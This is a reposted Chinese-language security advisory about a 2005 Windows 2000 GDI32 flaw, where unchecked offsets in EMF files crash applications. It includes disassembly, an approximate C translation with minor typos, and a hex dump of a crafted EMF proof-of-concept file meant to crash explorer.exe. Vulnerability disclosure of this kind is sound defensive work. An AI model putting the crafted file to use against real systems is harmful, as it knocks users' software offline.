主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

病毒防治
漏洞公告
基础入门
Windows 系统安全
Linux 系统安全
防火墙
IDS/IPS
数据库及Web安全

 
RHU阅读排行
·PostNuke多个脚本远程SQL注入漏洞
·FreeBSD IIR(4)驱动错误权限漏洞
·Firefox搜索插件跨站脚本执行漏洞
·Oracle关键补丁更新(2005年4月)
·微软2005年4月安全更新摘要
·2005年03月之十大安全漏洞
·新版Firefox出现漏洞,可导致用户敏感信息泄漏
·Microsoft Windows图形设备接口库拒绝服务漏洞
·Windows 2003 Outlook页访问URL注入漏洞
·Wine以不安全方式创建tmp文件漏洞

 
 
RHU最新文章
·微软 DebugView Dbgv.sys内核模块本地权限升漏洞
·Microsoft Windows出现递归DNS欺骗漏洞
·Microsoft Windows URI处理器命令注入漏洞
·Cisco对其两大产品存在的SSL漏洞发出警告
·微软IE浏览器再爆严重漏洞 尚无安全补丁
·RaXnet Cacti多个SQL注入漏洞
·RaXnet config_settings.php远程文件漏洞
·RaXnet header.php远程文件包含漏洞
·Ipswitch login.asp远程SQL注入漏洞
·Asterisk管理接口栈溢出漏洞

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 安全技术-> 漏洞公告
Microsoft Windows图形设备接口库拒绝服务漏洞

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2005-3-20 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


受影响系统:
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 12834

Windows 2000是微软推出的用途非常广泛的操作系统。

Windows 2000的GDI32.DLL GetEnhMetaFilePaletteEntries() API不能正确的处理EMF文件,导致调用API的应用程序在读取某些特制的EMF文件时可能崩溃。

有漏洞的代码如下:

----------------------------------------------------------
反编译的GDI32.GetEnhMetaFilePaletteEntries()
----------------------------------------------------------
77F68CC7        PUSH ESI
77F68CC8        PUSH EDI
77F68CC9        PUSH 460000
77F68CCE        PUSH DWORD PTR SS:[ESP+10]
77F68CD2        CALL GDI32.77F48A89
77F68CD7        TEST EAX,EAX
77F68CD9        JNZ SHORT GDI32.77F68CE0
77F68CDB        OR EAX,FFFFFFFF
77F68CDE        JMP SHORT GDI32.77F68D11
77F68CE0        MOV EDI,DWORD PTR SS:[ESP+14]
77F68CE4        TEST EDI,EDI
77F68CE6        JNZ SHORT GDI32.77F68CF0
77F68CE8        MOV EAX,DWORD PTR DS:[EAX+C]
77F68CEB        MOV EAX,DWORD PTR DS:[EAX+44]
77F68CEE        JMP SHORT GDI32.77F68D11
77F68CF0        MOV ECX,DWORD PTR DS:[EAX+C]
77F68CF3        MOV EAX,DWORD PTR DS:[ECX+44]
77F68CF6        CMP DWORD PTR SS:[ESP+10],EAX
77F68CFA        JNB SHORT GDI32.77F68D00
77F68CFC        MOV EAX,DWORD PTR SS:[ESP+10]
77F68D00        MOV EDX,DWORD PTR DS:[ECX+30]
77F68D03        ADD EDX,ECX
77F68D05        MOV ECX,EAX
77F68D07        SUB EDX,DWORD PTR DS:[EDX-4]
77F68D0A        MOV ESI,DWORD PTR DS:[EDX+C]
77F68D0D        ADD ESI,EDX
77F68D0F        REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
77F68D11        POP EDI
77F68D12        POP ESI
77F68D13        RETN 0C
-----------------------------------------------------------
翻译为C代码
-----------------------------------------------------------
UINT GetEnhMetaFilePaletteEntries(
    HENHMETAFILE hemf,    // handle of enhanced metafile
    UINT cEntries,    // count of palette entries
    LPPALETTEENTRY lppe     // address of palette-entry array 
   )
{
        char *begin, *end, *emreof, *palent;
        DWORD count, i;

        // ......

        begin = emf file offset in memory;

        // get the count of palette entries from the emf file
        count = *((DWORD *)(begin + 0x44));

        if (lppe == 0)
                 return count;

        if (size > count)
                 size = count;
   
        // find the end of the emf file
        end = begin + *((DWORD *)(bigin + 0x30));

        // find the offset of emreof
        emreof = end - *((DWORD *)(end - 0x04));

        // find the offset of palentries
        palent = emreof + *((DWORD *)(emreof + 0x0c));

        // copy the palent from the file to palette-entry array
        for (i = 0; i < size; i++)
                 memcpy(lppe + i, palent + i * 4, 4);
       
        return size;
}
-----------------------------------------------------------

可见没有有效性检查,因此可能在使用从EMF读取的偏移值(end,emreof,palent)时导致访问破坏。

这个漏洞的具体影响取决于使用API的应用程序。一般来讲,如果EMRHEAD->nPalEntries中存在非0的值,应用程序就会调用这个API,并向第二个参数传送EMRHEAD->nPalEntries。如果特制的EMF所访问的地址无效的话,就会导致应用程序崩溃。

<*来源:Hongzhen Zhou (felix__zhou@hotmail.com
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111108743527497&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

16进制的临时存贮EMF文件:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------

如果无法导致explorer.exe崩溃的话,请更改最后8个字节的值,然后重新测试。

建议:
--------------------------------------------------------------------------------
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

 

OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • 认知盲区 解惑双网卡双线路DNS解析
  • FlashFXP 简体中文版 3.7.5 Build 1303 Beta[烈火]
  • 确认:番茄花园作者洪磊被检察院批准逮捕
  • 1983年的今天 DNS诞生
  • Windows 2003 IIS 6.0搭建asp+.net+php+jsp+mysql+mssql
  • -文章评论 (关闭)

    红旋风访客:
       http://www.microsoft.com/technet/security/

    红旋风访客:
       adf


    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com